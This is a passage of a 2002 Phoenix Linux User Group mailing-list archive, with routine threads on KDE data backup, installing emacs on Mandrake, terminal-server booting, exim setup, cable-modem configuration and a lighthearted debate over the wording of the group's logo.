yHk8NslmPky84u0jGERqMAY= =BW9D -----END PGP SIGNATURE----- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 06:20:02 2002 From: plug-discuss@lists.plug.phoenix.az.us (Dennis Kibbe) Date: Sat, 29 Jun 2002 23:20:02 -0700 Subject: Backing up Kaddressbook & Korganizer Data-How? In-Reply-To: <200206292046.24601.dennisk@sahuaro.f2s.com> References: <200206292046.24601.dennisk@sahuaro.f2s.com> Message-ID: <200206292320.02544.dennisk@sahuaro.f2s.com> On Saturday 29 June 2002 08:46 pm, Dennis Kibbe wrote: > Where are the data files for Kaddressbook & Korganizer kept? I've looked > under /~.kde/share/apps but both kab and korganizer are empty folders. A > search of the kde-user and kde-pim mail list revealed little. > > thanks, > > Dennis Kibbe Here's what I discovered in case anyone is interested. Comments & corrections are welcomed. 1. Mail is under /~Mail (POP3, sendmail, etc.) or /~.kde/share/apps/kmail/imap (for IMAP servers). Earthlink is still the older POP3 2. KMail filter are contained in the KMail config file /~.kde/share/config/kmailrc 3. KOrganizer saves in standard iCalendar file format *.ics (see /~.kde/share/apps/korganizer/calendar.ics) 4. Konqueror bookmarks are a standard *.xml format (see /~.kde/share/apps/konqueror/bookmarks.xml) 5. KAddressbook saves in standard *.vcf format (see /~.kde/share/apps/kabc/std.vcf) 6. Backing up /~.kde/share/ or at least /~.kde/share/cache, config & apps should do it. 7. /~.kde is a hidden folder. In Konqueror use "View Hidden Files" or in a terminal window tpye ls -a 8. All of these file formats are open standards and can be read with any text editor I'm preparing this for a friend who is new to Linux & KDE From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 06:56:33 2002 From: plug-discuss@lists.plug.phoenix.az.us (robert jorgenson) Date: Sat, 29 Jun 2002 23:56:33 -0700 Subject: shmget error on sylpheed and a few others Message-ID: <20020629235633.3c75e749.snoogans@qwest.net> i get this error when starting up sylpheed, i also have gotten when i ran enlightenment it said it used it for the pager and it couldn't have all the fancy pictured in it because of this error, anyone have any ideas on how to fix it? Gdk-WARNING **: shmget failed: error 38 (Function not implemented) From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 08:16:41 2002 From: plug-discuss@lists.plug.phoenix.az.us (Mark Moynahan) Date: Sun, 30 Jun 2002 01:16:41 -0700 Subject: Install emacs on Linux Message-ID: I've just installed linux(Mandrake 8.1) and I'm trying to get emacs installed. Disk 2 of Mandrake 8.1 is in the cdrom and accessible. When I run this command 'rpm -ivh emacs-X11-20.7-17mdk.i586.rpm' I get this error message 'error: failed dependencies: emacs is needed by emacs-X11-20.7-17mdk.i586.rpm'. Any suggestions on how to get Emacs installed would be greatly appreciated. Thanks, Mark _________________________________________________________________ Send and receive Hotmail on your mobile device: http://mobile.msn.com From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 13:44:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lynn David Newton) Date: Sun, 30 Jun 2002 06:44:53 -0700 Subject: Install emacs on Linux In-Reply-To: References: Message-ID: <15647.2901.86089.120204@bela.interhack.net> Mark> I've just installed linux(Mandrake 8.1) and I'm Mark> trying to get emacs installed. Disk 2 of Mark> Mandrake 8.1 is in the cdrom and accessible. Mark> When I run this command 'rpm -ivh Mark> emacs-X11-20.7-17mdk.i586.rpm' I get this error Mark> message 'error: failed dependencies: emacs is Mark> needed by emacs-X11-20.7-17mdk.i586.rpm'. Any Mark> suggestions on how to get Emacs installed would Mark> be greatly appreciated. You might just try building and installing it from source. I don't know exactly where to get GNU Emacs. I've been using XEmacs for a very long time, and always make sure I unselect it whenever I upgrade my OS so I don't have two conflicting versions out there. (Same with several other packages, such as Apache, MySQL, Mozilla, and two or three others. -- Lynn David Newton Phoenix, AZ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 14:40:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Charlie Bullen) Date: Sun, 30 Jun 2002 07:40:11 -0700 Subject: Linux Terminal Server Message-ID: <000801c22044$0ae21990$6400a8c0@amd1000> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C22009.5D5AC720 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable Is there any reason why a non stipped down computer wouldn't work as a = workstation. I don't have an extra old compter sitting around. Could I = use the boot from floppy option and then leave the nomral operatining = system intact but unused?=20 My understanding is that once the boot over the network occurs, all disk = activity is then on the server. If this can be done, with no impact on = the operating system installed on the workstation, my employer will let = me proceed. =20 I have been having some real good results using my linuxbox at work and = 1 of my co-workers is real interested in using linux for for 2 reasons. = First the greater lack of virus vulnerablility and second, the virtual = desktops, which allows each of our general types of work to be = isolatedin its own virtual desktop. Thisis a real advantage as each = catagory sometimes results in as many as 4 browser windows and 1 or 2 = other applications running. All done on one desktop gets unmanageable = real fast. Regards, Charlie ------=_NextPart_000_0005_01C22009.5D5AC720 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
Is there any reason why a non stipped = down computer=20 wouldn't work as a workstation. I don't have an extra old compter = sitting=20 around. Could I use the boot from floppy option and then leave the = nomral=20 operatining system intact but unused?
 
My understanding is that once the boot = over the=20 network occurs, all disk activity is then on the server. If this can be = done,=20 with no impact on the operating system installed on the workstation, my = employer=20 will let me proceed.  
 
I have been having some real good = results using my=20 linuxbox at work and 1 of my co-workers is real interested in using = linux for=20 for 2 reasons. First the greater lack of virus vulnerablility and = second, the=20 virtual desktops, which allows each of our general types of work to be=20 isolatedin its own virtual desktop. Thisis a real advantage as  = each=20 catagory sometimes results in as many as 4 browser windows and 1 or 2 = other=20 applications running. All done on one desktop gets unmanageable real=20 fast.
 
Regards,
 
 
Charlie
------=_NextPart_000_0005_01C22009.5D5AC720-- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 16:29:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Lee Einer) Date: Sun, 30 Jun 2002 09:29:05 -0700 Subject: Configuring Exim to work with K-mail for multiple users Message-ID: <3D1F31D1.4C0B3791@cox.net> Hi, all- I am trying to get Kmail up and running, and am having difficulties getting exim configured correctly. What should the Qualify domain and Local domains be set to in my exim.conf file? -- Lee Einer http://members.cox.net/appealsman/ From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 16:39:55 2002 From: plug-discuss@lists.plug.phoenix.az.us (Cap Bateman) Date: 30 Jun 2002 09:39:55 -0700 Subject: Install emacs on Linux In-Reply-To: References: Message-ID: <1025455196.3011.4.camel@desktop.capnet.lan> On Sun, 2002-06-30 at 01:16, Mark Moynahan wrote: > I've just installed linux(Mandrake 8.1) and I'm trying to get emacs > installed. Disk 2 of Mandrake 8.1 is in the cdrom and accessible. When I run > this command 'rpm -ivh emacs-X11-20.7-17mdk.i586.rpm' I get this error > message 'error: failed dependencies: emacs is needed by > emacs-X11-20.7-17mdk.i586.rpm'. Any suggestions on how to get Emacs > installed would be greatly appreciated. > > Thanks, > > Mark Mark, I've got Mandrake 8.2, but IIRC this should also work in 8.1. Use "urpmi emacs*" and it should install all the dependencies. You could also install it from the Software Manager, which is just a GUI front end for urpmi. HTH, -- D.L. 'Cap' Bateman Registered Linux User #268440, Machine #151687 No trees were harmed in sending this Earth-safe message. However, a few electrons may have been inconvenienced. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 15:35:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert N. Eaton) Date: Sun, 30 Jun 2002 11:35:27 -0400 Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: References: Message-ID: <200206301825.g5UIP0MY010144@mail.infinet-is.com> On Saturday 29 June 2002 03:38 pm, you wrote: > Hmm... Any English professors in the audience? We could do: > > User > Users > User's > Users' > > All of these examples can be found in use by other Linux groups on the > 'net. We're a group of "Linux users," but we're also a "user group." So > I guess it depends on where you put the emphasis on the phrase. The Linux > group in Portland uses: > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > problem all together. ;-) > ~M If you want to get excessively grammatical: User = noun, sungular Users= noun, plural User's = noun, singular, possessive Users' = noun, plural, possessive Any of the four could grammatically appear before "Group" . "User's" implies "only one". Sort of "I am the only Linux user." "Users'" implies "many." "I am one of many Linux users." "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives telling "what kind of" group just as in "school house" , "school" tells "what kind of house. My choice would be "Users" as it implies multiple users, and lacks the clutter of the apostrophe, which, in a logo, is really unnecessary. -- Bob Eaton Curiosity didn't kill the cat: it was lack of information. -- Bob Eaton Curiosity didn't kill the cat: it was lack of information. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:09:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 30 Jun 2002 12:09:53 -0700 (PDT) Subject: Linux Terminal Server In-Reply-To: <000801c22044$0ae21990$6400a8c0@amd1000> Message-ID: Yes, you could boot from an LTS over the network and leave your existing installation untouched. On Sun, 30 Jun 2002, Charlie Bullen wrote: > Is there any reason why a non stipped down computer wouldn't work as a workstation. I don't have an extra old compter sitting around. Could I use the boot from floppy option and then leave the nomral operatining system intact but unused? > > My understanding is that once the boot over the network occurs, all disk activity is then on the server. If this can be done, with no impact on the operating system installed on the workstation, my employer will let me proceed. > > I have been having some real good results using my linuxbox at work and 1 of my co-workers is real interested in using linux for for 2 reasons. First the greater lack of virus vulnerablility and second, the virtual desktops, which allows each of our general types of work to be isolatedin its own virtual desktop. Thisis a real advantage as each catagory sometimes results in as many as 4 browser windows and 1 or 2 other applications running. All done on one desktop gets unmanageable real fast. > > Regards, > > > Charlie > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:12:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (Matt Alexander) Date: Sun, 30 Jun 2002 12:12:24 -0700 (PDT) Subject: Backing up Kaddressbook & Korganizer Data-How? In-Reply-To: <200206292320.02544.dennisk@sahuaro.f2s.com> Message-ID: sed 's/\/~/~\//g' On Sat, 29 Jun 2002, Dennis Kibbe wrote: > On Saturday 29 June 2002 08:46 pm, Dennis Kibbe wrote: > > Where are the data files for Kaddressbook & Korganizer kept? I've looked > > under /~.kde/share/apps but both kab and korganizer are empty folders. A > > search of the kde-user and kde-pim mail list revealed little. > > > > thanks, > > > > Dennis Kibbe > > Here's what I discovered in case anyone is interested. Comments & corrections > are welcomed. > > 1. Mail is under /~Mail (POP3, sendmail, etc.) or /~.kde/share/apps/kmail/imap > (for IMAP servers). Earthlink is still the older POP3 > 2. KMail filter are contained in the KMail config file > /~.kde/share/config/kmailrc > 3. KOrganizer saves in standard iCalendar file format *.ics (see > /~.kde/share/apps/korganizer/calendar.ics) > 4. Konqueror bookmarks are a standard *.xml format (see > /~.kde/share/apps/konqueror/bookmarks.xml) > 5. KAddressbook saves in standard *.vcf format (see > /~.kde/share/apps/kabc/std.vcf) > 6. Backing up /~.kde/share/ or at least /~.kde/share/cache, config & apps > should do it. > 7. /~.kde is a hidden folder. In Konqueror use "View Hidden Files" or in a > terminal window tpye ls -a > 8. All of these file formats are open standards and can be read with any text > editor > > I'm preparing this for a friend who is new to Linux & KDE > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:39:23 2002 From: plug-discuss@lists.plug.phoenix.az.us (tickticker) Date: Sun, 30 Jun 2002 12:39:23 -0700 Subject: Grammar, Was: PLUG Logo Update! References: <200206301825.g5UIP0MY010144@mail.infinet-is.com> Message-ID: <003601c2206d$d6779340$0601010a@tickticker.com> ok, here's my 2 cents.... in this context USER is being used as an adjective.. this is a group. a USER group. a linux USER group. users group is like a double negative. but in this case it's a double plural. that's all i got to say 'bout that. anthony ----- Original Message ----- From: "Robert N. Eaton" To: Sent: Sunday, June 30, 2002 8:35 AM Subject: Re: Grammar, Was: PLUG Logo Update! > On Saturday 29 June 2002 03:38 pm, you wrote: > > Hmm... Any English professors in the audience? We could do: > > > > User > > Users > > User's > > Users' > > > > All of these examples can be found in use by other Linux groups on the > > 'net. We're a group of "Linux users," but we're also a "user group." So > > I guess it depends on where you put the emphasis on the phrase. The Linux > > group in Portland uses: > > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > > problem all together. ;-) > > ~M > If you want to get excessively grammatical: > > User = noun, sungular > Users= noun, plural > User's = noun, singular, possessive > Users' = noun, plural, possessive > > Any of the four could grammatically appear before "Group" . > > "User's" implies "only one". Sort of "I am the only Linux user." > "Users'" implies "many." "I am one of many Linux users." > "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives > telling "what kind of" group just as in "school house" , "school" tells "what > kind of house. > > My choice would be "Users" as it implies multiple users, and lacks the > clutter of the apostrophe, which, in a logo, is really unnecessary. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 18:45:05 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 30 Jun 2002 14:45:05 -0400 (EDT) Subject: PLUG Logo Update! In-Reply-To: <00ce01c21f81$0b5112a0$2f7c0d82@peyote> Message-ID: FWIW: According to Google, the split is about 50/50, though "java user group" outnumbers "java users group" by a large margin. On Sat, 29 Jun 2002, slr wrote: > well, i think i asked this ? before, because the PLUG web site is > inconsistant. and yours is only the second comment about "Users" vs "User". > how does the group feel about this isssue? > > slr > > ----- Original Message ----- > From: "William Lindley" > To: > Sent: Saturday, June 29, 2002 6:33 AM > Subject: Re: PLUG Logo Update! > > > > Our banner says "Users" Group... let's be consistent at least. > > > > The logo should say "Users". > > > > \\/ > > > > > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't > post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 19:11:44 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 30 Jun 2002 15:11:44 -0400 (EDT) Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: <200206301825.g5UIP0MY010144@mail.infinet-is.com> Message-ID: IMHO, the two grammatically rational ones are "User" and "Users'": User Group: a group whose elements are of type "User" Users' Group: a group owned by many users Users Group: a group whose elements are of type array of users User's Group: a group owned by a single user I would lean towards "User" as it has the least characters, and is the most used of the four options according to Google: "user group": 982,000 "users group" & "users' group": 752,000 (can't get them separated) "user's group": 79,900 On Sun, 30 Jun 2002, Robert N. Eaton wrote: > On Saturday 29 June 2002 03:38 pm, you wrote: > > Hmm... Any English professors in the audience? We could do: > > > > User > > Users > > User's > > Users' > > > > All of these examples can be found in use by other Linux groups on the > > 'net. We're a group of "Linux users," but we're also a "user group." So > > I guess it depends on where you put the emphasis on the phrase. The Linux > > group in Portland uses: > > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > > problem all together. ;-) > > ~M > If you want to get excessively grammatical: > > User = noun, sungular > Users= noun, plural > User's = noun, singular, possessive > Users' = noun, plural, possessive > > Any of the four could grammatically appear before "Group" . > > "User's" implies "only one". Sort of "I am the only Linux user." > "Users'" implies "many." "I am one of many Linux users." > "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives > telling "what kind of" group just as in "school house" , "school" tells "what > kind of house. > > My choice would be "Users" as it implies multiple users, and lacks the > clutter of the apostrophe, which, in a logo, is really unnecessary. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > > -- > Bob Eaton > > Curiosity didn't kill the cat: it was lack of information. > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 20:14:17 2002 From: plug-discuss@lists.plug.phoenix.az.us (Gary Nichols) Date: Sun, 30 Jun 2002 13:14:17 -0700 Subject: Linux and AOL References: <3D1DFB82.80D376EE@cox.net> <001301c21fac$3ad24550$6400a8c0@amd1000> Message-ID: <005101c22072$bb141010$6901a8c0@chimpy> Current AOL clients do not function on linux under wine or codeweavers wine. This is well documented on the codeweavers app database page. I've tried it a few times to coax people off of windows and never been successful. After install the setup program trys to do a few things with networking and blows chunks. I'm sure it won't be this way for long though - give the pace of wine development. ----- Original Message ----- From: "Charlie Bullen" > I wonder if you could use the AOL client for windows on linux with wine. > I've had good results with codeweavers wine and also their crossoveroffice > product. In fact, if I have an AOL disk in my mailbox today I may just give > it a try. From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 20:25:03 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 30 Jun 2002 13:25:03 -0700 Subject: Grammar, Was: PLUG Logo Update! References: Message-ID: <3D1F691F.6A32682B@leml.asu.edu> there is also the drug addiction analogy of "users"... but I did not say that... back to my regularily scheduled writing... EBo -- Robert Bushman wrote: > > IMHO, the two grammatically rational ones are "User" and "Users'": > > User Group: a group whose elements are of type "User" > Users' Group: a group owned by many users > > Users Group: a group whose elements are of type array of users > User's Group: a group owned by a single user > > I would lean towards "User" as it has the least characters, > and is the most used of the four options according to Google: > "user group": 982,000 > "users group" & "users' group": 752,000 (can't get them separated) > "user's group": 79,900 > > On Sun, 30 Jun 2002, Robert N. Eaton wrote: > > > On Saturday 29 June 2002 03:38 pm, you wrote: > > > Hmm... Any English professors in the audience? We could do: > > > > > > User > > > Users > > > User's > > > Users' > > > > > > All of these examples can be found in use by other Linux groups on the > > > 'net. We're a group of "Linux users," but we're also a "user group." So > > > I guess it depends on where you put the emphasis on the phrase. The Linux > > > group in Portland uses: > > > "Portland Linux Unix Group" which gets rid of the "is it plural or not" > > > problem all together. ;-) > > > ~M > > If you want to get excessively grammatical: > > > > User = noun, sungular > > Users= noun, plural > > User's = noun, singular, possessive > > Users' = noun, plural, possessive > > > > Any of the four could grammatically appear before "Group" . > > > > "User's" implies "only one". Sort of "I am the only Linux user." > > "Users'" implies "many." "I am one of many Linux users." > > "User" and "Users" act as noun adjuncts; that is, nouns acting as adjectives > > telling "what kind of" group just as in "school house" , "school" tells "what > > kind of house. > > > > My choice would be "Users" as it implies multiple users, and lacks the > > clutter of the apostrophe, which, in a logo, is really unnecessary. > > > > -- > > Bob Eaton > > > > Curiosity didn't kill the cat: it was lack of information. > > > > -- > > Bob Eaton > > > > Curiosity didn't kill the cat: it was lack of information. > > ________________________________________________ > > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > > > > ------------------------------------------------------------------- > "We need commonsense judges who understand that our rights were > derived from God," - President George W. Bush, 27 June 2002 > http://www.nandotimes.com/politics/story/448758p-3591873c.html > ------------------------------------------------------------------- > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 20:27:58 2002 From: plug-discuss@lists.plug.phoenix.az.us (mazdaracer) Date: Sun, 30 Jun 2002 13:27:58 -0700 Subject: Linux Terminal Server References: <000801c22044$0ae21990$6400a8c0@amd1000> Message-ID: <3D1F69CE.33BD49B6@earthlink.net> I used my son's old Sony Viao and it works well. Just haven't had time to ensure I can use everything like I want. The old case still has the CDROM and floppy. Don't know about getting to them yet. > Charlie Bullen wrote: > > Is there any reason why a non stipped down computer wouldn't work as a workstation. I don't have an extra old compter sitting around. Could I use the boot from floppy option and then leave the nomral operatining system intact but unused? > > My understanding is that once the boot over the network occurs, all disk activity is then on the server. If this can be done, with no impact on the operating system installed on the workstation, my employer will let me proceed. > > I have been having some real good results using my linuxbox at work and 1 of my co-workers is real interested in using linux for for 2 reasons. First the greater lack of virus vulnerablility and second, the virtual desktops, which allows each of our general types of work to be isolatedin its own virtual desktop. Thisis a real advantage as each catagory sometimes results in as many as 4 browser windows and 1 or 2 other applications running. All done on one desktop gets unmanageable real fast. > > Regards, > > > Charlie From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:54:16 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 30 Jun 2002 15:54:16 -0700 (MST) Subject: Grammar, Was: PLUG Logo Update! In-Reply-To: <200206301825.g5UIP0MY010144@mail.infinet-is.com> Message-ID: Am 30. Jun, 2002 schwätzte Robert N. Eaton so: > My choice would be "Users" as it implies multiple users, and lacks the > clutter of the apostrophe, which, in a logo, is really unnecessary. We might like "PLU'G", though :). PFUG, Phoenix Free Unix Group, is still an option. That solves issue by getting rid of it. We'd have a new prob then. Should it be PFUG or PF*G, Phoenix Free *NIX Group? ciao, der.hans -- # https://www.LuftHans.com/ # "The purpose of IT is to seamlessly and transparently provide the other # 9/10's of the [iceberg] for people who need to work with chunks # of floating ice." -- Strata Rose Chalup From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:57:24 2002 From: plug-discuss@lists.plug.phoenix.az.us (der.hans) Date: Sun, 30 Jun 2002 15:57:24 -0700 (MST) Subject: Configuring Exim to work with K-mail for multiple users In-Reply-To: <3D1F31D1.4C0B3791@cox.net> Message-ID: Am 30. Jun, 2002 schwätzte Lee Einer so: > I am trying to get Kmail up and running, and am having difficulties > getting exim configured correctly. What should the Qualify domain and > Local domains be set to in my exim.conf file? qualify_domains should be the hostname you want mail to come from. It should either be the local hostname or your domain name, e.g. either myhost.LuftHans.com or LuftHans.com for me. local_domains are those domains for which the final destination for mail is the machine you're configuring. Relays are configged elsewhere. ciao, der.hans -- # https://www.LuftHans.com/ # C'est la Net - der.hans From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:45:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (John (EBo) David) Date: Sun, 30 Jun 2002 15:45:11 -0700 Subject: Grammar, Was: PLUG Logo Update! References: Message-ID: <3D1F89F7.2A543FA@leml.asu.edu> "der.hans" wrote: > > Am 30. Jun, 2002 schwätzte Robert N. Eaton so: > > > My choice would be "Users" as it implies multiple users, and lacks the > > clutter of the apostrophe, which, in a logo, is really unnecessary. > > We might like "PLU'G", though :). > > PFUG, Phoenix Free Unix Group, is still an option. That solves issue by > getting rid of it. We'd have a new prob then. Should it be PFUG or PF*G, > Phoenix Free *NIX Group? they would be the perfect group to host *NIX FAQ's and FUQ's (frequently unanswered questions). EBo -- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 23:41:57 2002 From: plug-discuss@lists.plug.phoenix.az.us (David Fleming) Date: 30 Jun 2002 16:41:57 -0700 Subject: Grammar, Was: PLUG Logo Update Message-ID: <1025480523.3342.11.camel@localhost.localdomain> It's interesting that most everyone infers a possessive in the phrase (i.e., a group belonging to one or more users). Another way to see it would be simply as a 'group of users, in which case "Phoenix Linux Users Group" is exactly right (i.e., a group of Linux users from Phoenix). And doesn't it really all depend on what the meaning of "is," is? ($0.02 from a recent list subscriber) D.Fleming azdf@cox.net From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 18:49:42 2002 From: plug-discuss@lists.plug.phoenix.az.us (Robert Bushman) Date: Sun, 30 Jun 2002 14:49:42 -0400 (EDT) Subject: PLUG Logo - serving suggestion In-Reply-To: <3D1E066A.5D0E0DB8@leml.asu.edu> Message-ID: On Sat, 29 Jun 2002, John (EBo) David wrote: > > Didn't I see a movie preview where those prehistoric creatures return to life > > and come swooping down on Redmond breathing fire? > > naaa... That would be JurasicTux. Penguinelli is the southwestern > opensorce hunchback coder... no one remembers when Tux first showed up, > but he's been coding ever since ;-) I think you mean "southwestern opensource bellringer coder". http://makeashorterlink.com/?S19B35A21 :) ------------------------------------------------------------------- "We need commonsense judges who understand that our rights were derived from God," - President George W. Bush, 27 June 2002 http://www.nandotimes.com/politics/story/448758p-3591873c.html ------------------------------------------------------------------- From plug-discuss@lists.plug.phoenix.az.us Sun Jun 30 22:59:37 2002 From: plug-discuss@lists.plug.phoenix.az.us (Raymond Cantwell) Date: 30 Jun 2002 15:59:37 -0700 Subject: OpenOffice VS StarOffice VS MSOffice Message-ID: <1025477979.2533.4.camel@vdsl-130-13-154-173.phnx.uswest.net> Hey all, Just seeing what the consensus is on office suites. I have access to all three and wanted to see what all the sages out there thought. Ray malbojia@qwest.net From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 01:58:27 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 31 May 2002 21:58:27 -0400 Subject: internet access References: <004401c208fb$799e0d90$91ad0244@pinchebaboso> Message-ID: <3CF82A43.890BD588@georgetoft.com> > Poorboyphx wrote: > > i have a newlinux7.2 and dont know how to attach to the internet please > helpp!!!!!!! Eh Brah, You need to give us more information than that. Are you using a dial-up modem (internal or external?), cable modem, ADSL, VDSL, WHAT??? Next, you need to tell us what you have done so far, and what the results were, including error messages. Regards, George From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 02:25:11 2002 From: plug-discuss@lists.plug.phoenix.az.us (Poorboyphx) Date: Fri, 31 May 2002 19:25:11 -0700 Subject: internet Message-ID: <000801c20913$8ed81670$91ad0244@pinchebaboso> This is a multi-part message in MIME format. ------=_NextPart_000_0005_01C208D8.E1E7FAF0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable ok here goes!! I have linux 7.2 redhat. I need to connect to the = internet!! I have a cable modem with a soho ethernet adapter to the = computer. I'm with cox@home and i need helphooking up to the internet. = I have the ip addresses and such but dont know where to configure this = system to access the internet. ipaddress 68.2.173.145 subnet mask 255.255.255.0 default gateway 68.2.173.1 dhcp server 172.19.73.16 dns servers 68.2.16.30 and 68.1.208.30 how do i enter this information so that i may access the internet with a = cable modem through a usb ethernet connection (soho) this is really = all the info that i know i would appreciate anyone who might help. You = can even call me at 480-988-2106! thanks danny poorman! ------=_NextPart_000_0005_01C208D8.E1E7FAF0 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
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how do i enter this information so that = i may=20 access the internet with a cable modem through a usb ethernet connection = (soho)   this is really all the info that i know i would = appreciate=20 anyone who might help.  You can even call me at 480-988-2106!  = thanks=20 danny poorman!
------=_NextPart_000_0005_01C208D8.E1E7FAF0-- From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 02:51:19 2002 From: plug-discuss@lists.plug.phoenix.az.us (Bob Cober) Date: Fri, 31 May 2002 19:51:19 -0700 Subject: Intel presentation content suggestions? References: <200205302056.53263.alandd@consultpros.com> Message-ID: <00f701c20917$34eadc20$c801a8c0@sctdl1.az.home.com> How about a presentation comparing their compiler to gcc? Also - don't they have some good profiling tools - vtune? ----- Original Message ----- From: Alan Dayley To: Sent: Thursday, May 30, 2002 8:56 PM Subject: Intel presentation content suggestions? > I got this email today from Mike at Intel. They are confirmed for the > presentation on the East Side on June 13th. > > He asks at the end for "any particular topics or areas of interest" we would > like him to cover about Intel's use of Linux. Rather than give him my > guesses on what you want (unless you all want what I want), I thought I would > pass the question on to you. > > Well, what do you want him to talk about? I'll pass the answers on to him. > > Alan > > ---------- Forwarded Message ---------- > > Subject: RE: Phoenix Linux Users Group info > Date: Wed, 29 May 2002 15:03:35 -0700 > From: "Michael" > > ... > > We will be presenting on June 13th. > > We have scraped up a few things to give away, but I am working on a little > more. > > So far we havent come up with an agenda. > > I would expect it would cover things like: > > Intel's Usage of Linux: > Desktop, batch processing, Infrastructure usage, etc > > Also we will discuss mass installation's of linux ( ie building hundreds of > machines at a time ). > > I could also talk about Linux on ia64 if they wish. > > Are there any particular topics or areas of interest you believe your > members would like to see not covered about? > > MIchael > > ________________________________________________ > See http://PLUG.phoenix.az.us/navigator-mail.shtml if your mail doesn't post to the list quickly and you use Netscape to write mail. > > PLUG-discuss mailing list - PLUG-discuss@lists.plug.phoenix.az.us > http://lists.PLUG.phoenix.az.us/mailman/listinfo/plug-discuss > From plug-discuss@lists.plug.phoenix.az.us Sat Jun 1 03:40:53 2002 From: plug-discuss@lists.plug.phoenix.az.us (George Toft) Date: Fri, 31 May 2002 23:40:53 -0400 Subject: internet References: <000801c20913$8ed81670$91ad0244@pinchebaboso> Message-ID: <3CF84245.FC1E70D2@georgetoft.com> > Poorboyphx wrote: > > ok here goes!! I have linux 7.2 redhat. I need to connect to the internet!! > I have a cable modem with a soho ethernet 